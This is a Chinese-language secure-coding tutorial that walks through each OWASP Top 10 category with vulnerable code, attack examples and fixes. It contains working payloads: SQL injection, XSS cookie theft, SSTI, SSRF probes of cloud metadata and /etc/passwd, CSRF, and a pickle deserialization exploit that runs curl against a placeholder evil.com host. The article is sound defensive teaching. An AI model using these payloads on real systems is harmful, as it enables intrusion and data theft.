Web 应用常见漏洞与防御:OWASP Top 10 实战讲解
据 Akamai 报告,2026 年 Web 应用攻击同比增长 40%,其中注入攻击和身份认证失效占比最高。无论你是开发者还是运维,了解 Web 应用常见漏洞都是必修课。本文基于 OWASP Top 10(2021 版),通过真实案例 + 代码讲解,带你建立完整的 Web 安全防护意识。
一、什么是 OWASP
OWASP(Open Worldwide Application Security Project)是全球最权威的 Web 安全组织,定期发布 Top 10 漏洞榜单,代表最常见、最危险的 Web 安全风险。
OWASP Top 10 (2021):
- A01 - 访问控制失效 (Broken Access Control)
- A02 - 加密机制失效 (Cryptographic Failures)
- A03 - 注入 (Injection)
- A04 - 不安全设计 (Insecure Design)
- A05 - 安全配置错误 (Security Misconfiguration)
- A06 - 易受攻击和过时的组件 (Vulnerable Components)
- A07 - 身份认证失效 (Identification & Authentication Failures)
- A08 - 软件和数据完整性失效 (Software & Data Integrity Failures)
- A09 - 安全日志和监控失效 (Security Logging & Monitoring Failures)
- A10 - 服务端请求伪造 (SSRF)
二、A01 访问控制失效
漏洞描述
用户能访问未授权的资源或功能。比如普通用户访问管理后台、修改他人订单。
典型案例
1 2 3 4 5 6
| @app.route('/api/orders') def get_orders(): user_id = request.args.get('user_id') orders = Order.query.filter_by(user_id=user_id).all() return jsonify([o.to_dict() for o in orders])
|
攻击:
1
| GET /api/orders?user_id=1001 # 查看 1001 号用户的订单
|
修复
1 2 3 4 5 6 7
| @app.route('/api/orders') @login_required def get_orders(): user_id = current_user.id orders = Order.query.filter_by(user_id=user_id).all() return jsonify([o.to_dict() for o in orders])
|
防御原则
- 永远从服务端获取当前用户身份
- 每次请求都做权限校验,不要依赖前端隐藏按钮
- 强制使用最小权限原则
- 拒绝默认允许,默认拒绝
三、A02 加密机制失效
常见问题
- 使用 HTTP(明文传输)
- 弱密码算法(MD5、SHA1)
- 密钥硬编码在代码里
- 敏感数据明文存储
案例:密码存储
1 2 3 4
| import hashlib password_hash = hashlib.md5(password.encode()).hexdigest() db.save_user(name, password_hash)
|
问题:MD5 太快,彩虹表秒破。
修复:使用 bcrypt
1 2 3 4 5 6 7 8 9 10 11
| import bcrypt
password_bytes = password.encode('utf-8') salt = bcrypt.gensalt(rounds=12) hashed = bcrypt.hashpw(password_bytes, salt) db.save_user(name, hashed)
if bcrypt.checkpw(password.encode('utf-8'), stored_hash):
|
HTTPS 配置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| server { listen 443 ssl http2; ssl_protocols TLSv1.2 TLSv1.3; ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384'; ssl_prefer_server_ciphers on; add_header Strict-Transport-Security "max-age=63072000" always; }
server { listen 80; return 301 https://$host$request_uri; }
|
加密算法选择
四、A03 注入漏洞(最经典)
SQL 注入
漏洞代码
1 2 3
| query = f"SELECT * FROM users WHERE name='{username}' AND password='{password}'" db.execute(query)
|
攻击:
1 2
| username: ' OR '1'='1 password: 任意
|
最终 SQL:
1
| SELECT * FROM users WHERE name='' OR '1'='1' AND password='任意'
|
由于 '1'='1' 恒为真,返回所有用户。
修复:参数化查询
1 2 3
| query = "SELECT * FROM users WHERE name=%s AND password=%s" db.execute(query, (username, password))
|
各种语言:
1 2 3 4 5 6 7 8 9 10
| cursor.execute("SELECT * FROM users WHERE id=%s", (user_id,))
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id=?"); stmt.setInt(1, user_id);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id=?"); $stmt->execute([$user_id]);
|
命令注入
漏洞代码
1 2 3 4
| import os ip = request.args.get('ip') os.system(f"ping -c 4 {ip}")
|
攻击:
修复
1 2 3 4
| import subprocess ip = request.args.get('ip') subprocess.run(["ping", "-c", "4", ip], check=True)
|
XSS(跨站脚本)
反射型 XSS
1 2
| <div>欢迎您,<?php echo $_GET['name']; ?></div>
|
攻击:
1
| ?name=<script>alert(document.cookie)</script>
|
存储型 XSS(更危险)
1 2 3 4 5
| @app.route('/comment', methods=['POST']) def comment(): content = request.form['content'] db.execute("INSERT INTO comments (content) VALUES (%s)", (content,))
|
攻击:评论里写 <script>fetch('/steal?c='+document.cookie)</script>
修复
- 输出编码:HTML 转义
1 2 3 4 5 6
| from markupsafe import escape
@app.route('/hello') def hello(): name = request.args.get('name') return f"欢迎您,{escape(name)}"
|
- Content-Security-Policy
1
| <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
|
- HttpOnly Cookie(防 cookie 窃取)
1
| response.set_cookie('session', value, httponly=True, secure=True)
|
模板注入(SSTI)
1 2 3 4 5 6
| from flask import render_template_string @app.route('/hello') def hello(): name = request.args.get('name') return render_template_string(f"Hello {name}")
|
攻击:
1 2
| ?name={{config.items()}} ?name={{''.__class__.__mro__[1].__subclasses__()}}
|
修复
1 2 3 4 5 6
| from flask import render_template @app.route('/hello') def hello(): name = request.args.get('name') return render_template('hello.html', name=name)
|
五、A04 不安全设计
案例:无密码策略
1 2 3 4
| def register(username, password): user = User(username=username, password=password) db.save(user)
|
攻击:用户注册 123456 当密码。
修复
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import re
def validate_password(password): if len(password) < 12: raise ValueError("密码至少 12 位") if not re.search(r'[A-Z]', password): raise ValueError("必须包含大写字母") if not re.search(r'[a-z]', password): raise ValueError("必须包含小写字母") if not re.search(r'[0-9]', password): raise ValueError("必须包含数字") if not re.search(r'[!@#$%^&*]', password): raise ValueError("必须包含特殊字符") if password in COMMON_PASSWORDS: raise ValueError("密码过于简单")
|
限流设计
1 2 3 4 5 6 7 8 9 10
| from flask_limiter import Limiter
limiter = Limiter(app, key_func=lambda: request.remote_addr)
@app.route('/login', methods=['POST']) @limiter.limit("5 per minute") def login(): pass
|
业务逻辑漏洞
1 2 3 4 5 6 7 8
| @app.route('/order/update', methods=['POST']) def update_order(): order_id = request.form['order_id'] new_price = request.form['price'] order = Order.get(order_id) order.price = new_price db.save(order)
|
修复:服务端重新计算价格,不允许客户端传入。
六、A05 安全配置错误
常见配置问题
安全 HTTP 头
1 2 3 4 5 6
| add_header X-Frame-Options "SAMEORIGIN" always; add_header X-Content-Type-Options "nosniff" always; add_header X-XSS-Protection "1; mode=block" always; add_header Referrer-Policy "strict-origin-when-cross-origin" always; add_header Permissions-Policy "geolocation=(), camera=()" always;
|
生产环境检查清单
七、A06 易受攻击和过时的组件
风险
防御
- 定期扫描
1 2 3 4 5 6 7 8 9
| pip install safety safety check
npm audit
mvn dependency-check:check
|
- 及时更新
1 2 3 4 5
| npm update pip install --upgrade package
|
- 依赖锁定
1 2 3
| package-lock.json / yarn.lock Pipfile.lock / poetry.lock go.sum
|
- SCA 工具
- Snyk
- Dependabot(GitHub 内置)
- OWASP Dependency-Check
八、A07 身份认证失效
常见问题
- 弱密码允许
- 无登录失败锁定
- Session ID 在 URL 中泄露
- JWT 过期时间过长 / 不刷新
修复方案
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from django.contrib.auth import authenticate from axes.handlers import AxesHandler
def login_view(request): if request.method == 'POST': user = authenticate( request, username=request.POST['username'], password=request.POST['password'] ) if user is not None: login(request, user) return redirect('/') else: return render(request, 'login.html', {'error': '账号或密码错误'})
|
Session 安全
1 2 3 4 5 6
| SESSION_COOKIE_SECURE = True SESSION_COOKIE_HTTPONLY = True SESSION_COOKIE_SAMESITE = 'Lax' SESSION_EXPIRE_AT_BROWSER_CLOSE = True PERMANENT_SESSION_LIFETIME = timedelta(hours=2)
|
多因素认证
推荐 TOTP:
1 2 3 4 5 6 7 8 9 10
| import pyotp
secret = pyotp.random_base32() user.mfa_secret = secret
totp = pyotp.TOTP(user.mfa_secret) if totp.verify(user_input_code):
|
JWT 安全
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import jwt
def login(user): access_token = jwt.encode( {'user_id': user.id, 'exp': datetime.utcnow() + timedelta(minutes=15)}, SECRET_KEY, algorithm='HS256' ) refresh_token = jwt.encode( {'user_id': user.id, 'exp': datetime.utcnow() + timedelta(days=7)}, REFRESH_SECRET_KEY, algorithm='HS256' ) return access_token, refresh_token
def verify(token): try: payload = jwt.decode(token, SECRET_KEY, algorithms=['HS256']) return payload except jwt.ExpiredSignatureError: return None except jwt.InvalidTokenError: return None
|
九、A08 软件和数据完整性失效
案例:不安全的反序列化
1 2 3 4 5 6 7
| import pickle
@app.route('/api/data', methods=['POST']) def load_data(): data = pickle.loads(request.data) return jsonify(data)
|
攻击:
1 2 3 4 5 6 7 8 9
| import pickle import os
class Exploit(object): def __reduce__(self): return (os.system, ('curl http://evil.com/steal',))
payload = pickle.dumps(Exploit()) requests.post('http://target/api/data', data=payload)
|
修复
1 2 3 4 5 6 7
| import json
@app.route('/api/data', methods=['POST']) def load_data(): data = json.loads(request.data) return jsonify(data)
|
供应链安全
- 校验第三方库签名
- 校验下载文件的哈希
- 使用受信源(npm 官方、PyPI 官方)
十、A09 安全日志和监控失效
应该记录的事件
- 登录失败 / 成功
- 权限校验失败
- 异常流量
- 关键操作(支付、改密)
日志规范
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import logging
logger = logging.getLogger('security')
def login_attempt(username, ip, success): if success: logger.info( "Login success", extra={ 'event': 'login_success', 'username': username, 'ip': ip, 'timestamp': datetime.utcnow().isoformat() } ) else: logger.warning( "Login failed", extra={ 'event': 'login_failed', 'username': username, 'ip': ip, 'user_agent': request.user_agent.string, 'timestamp': datetime.utcnow().isoformat() } )
|
集成 SIEM
- ELK Stack(Elasticsearch + Logstash + Kibana)
- Splunk
- Grafana Loki
- 阿里云日志服务 / 腾讯云 CLS
告警规则
1 2 3 4 5 6
| - alert: 多次登录失败 expr: sum(rate(login_failures_total[5m])) > 10 for: 2m annotations: summary: "检测到可能的暴力破解攻击"
|
十一、A10 服务端请求伪造(SSRF)
漏洞描述
服务端未经严格校验就访问用户提供的 URL。
案例
1 2 3 4 5 6
| @app.route('/fetch_image') def fetch_image(): url = request.args.get('url') resp = requests.get(url) return resp.content
|
攻击:
1 2 3
| ?url=http://169.254.169.254/latest/meta-data/ # AWS 元数据 ?url=http://localhost:6379/ # 内网 Redis ?url=file:///etc/passwd # 本地文件
|
修复
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import ipaddress from urllib.parse import urlparse
def is_safe_url(url): try: parsed = urlparse(url) if parsed.scheme not in ['http', 'https']: return False import socket ip = socket.gethostbyname(parsed.hostname) ip_obj = ipaddress.ip_address(ip) if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_reserved: return False return True except Exception: return False
@app.route('/fetch_image') def fetch_image(): url = request.args.get('url') if not is_safe_url(url): return "Invalid URL", 400 resp = requests.get(url, timeout=5) return resp.content
|
十二、其他重要漏洞
CSRF(跨站请求伪造)
1 2 3 4 5 6
| <form action="https://bank.com/transfer" method="POST"> <input name="to" value="attacker"> <input name="amount" value="10000"> </form> <script>document.forms[0].submit()</script>
|
防御:
1 2 3 4 5 6 7 8 9 10
|
from flask_wtf.csrf import CSRFProtect
app = Flask(__name__) app.config['SECRET_KEY'] = '...' csrf = CSRFProtect(app)
SESSION_COOKIE_SAMESITE = 'Lax'
|
文件上传漏洞
1 2 3 4 5 6 7 8
| @app.route('/upload', methods=['POST']) def upload(): f = request.files['file'] f.save(f'/var/www/uploads/{f.filename}')
|
修复:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import magic import os
ALLOWED_TYPES = ['image/jpeg', 'image/png', 'image/gif'] UPLOAD_DIR = '/var/www/uploads'
@app.route('/upload', methods=['POST']) def upload(): f = request.files['file'] if len(f.read()) > 5 * 1024 * 1024: return "文件过大", 400 f.seek(0) mime = magic.from_buffer(f.read(1024), mime=True) f.seek(0) if mime not in ALLOWED_TYPES: return "文件类型不允许", 400 ext = os.path.splitext(f.filename)[1].lower() if ext not in ['.jpg', '.jpeg', '.png', '.gif']: return "扩展名不允许", 400 new_name = f'{uuid.uuid4()}{ext}' f.save(os.path.join(UPLOAD_DIR, new_name)) return "上传成功"
|
XXE(XML 外部实体)
1 2 3 4 5 6 7
| import xml.etree.ElementTree as ET
@app.route('/api/xml', methods=['POST']) def parse_xml(): data = request.data root = ET.fromstring(data)
|
修复:禁用外部实体
1 2 3 4 5
| import defusedxml.ElementTree as ET
@app.route('/api/xml', methods=['POST']) def parse_xml(): root = ET.fromstring(request.data)
|
十三、防御工具与平台
WAF(Web 应用防火墙)
- ModSecurity(开源)
- Cloudflare WAF
- 阿里云 WAF / 腾讯云 WAF
- 长亭雷池(国产开源)
SAST(静态扫描)
- SonarQube
- Semgrep
- Bandit(Python)
DAST(动态扫描)
- OWASP ZAP(免费)
- Burp Suite
- Nessus
漏洞扫描平台
十四、安全开发流程
SDL(Security Development Lifecycle)
1 2 3 4 5 6
| 需求阶段 → 安全需求分析 设计阶段 → 威胁建模(STRIDE) 编码阶段 → 安全编码规范 + SAST 测试阶段 → DAST + 渗透测试 发布阶段 → 安全审计 + 配置基线 运维阶段 → 漏洞监控 + 应急响应
|
CI/CD 集成安全扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| name: Security Scan
on: [push, pull_request]
jobs: scan: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Run Semgrep run: | pip install semgrep semgrep --config=auto . - name: Run Snyk uses: snyk/actions/python@master env: SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }} - name: GitGuardian uses: GitGuardian/ggshield-action@v1
|
十五、应急响应
1. 发现入侵
立即行动:
- 隔离:从网络断开(防止横向移动)
- 取证:不要重启,保存内存快照
- 记录:所有操作写入日志
2. 事件分类
3. 处置流程
4. 报告与改进
写事故复盘报告:
总结
Web 安全不是一次性任务,是持续的过程。
核心原则:
- 零信任:不相信任何输入,不做隐式授权
- 纵深防御:多层防护,即使一层被攻破还有其他层
- 最小权限:每个账号/服务只给必需权限
- 失效安全:出错时拒绝而不是放行
- 可见性:所有操作都有日志,可追溯
学习路径:
- 读 OWASP Top 10 官方文档
- 用 DVWA / WebGoat 靶场练手
- 学一门 WAF 工具
- 考 CISP / CISSP 认证(可选)
安全无小事。一次小漏洞可能导致品牌声誉崩塌、用户数据泄露、法律诉讼。从今天开始,把安全融入开发流程的每一步。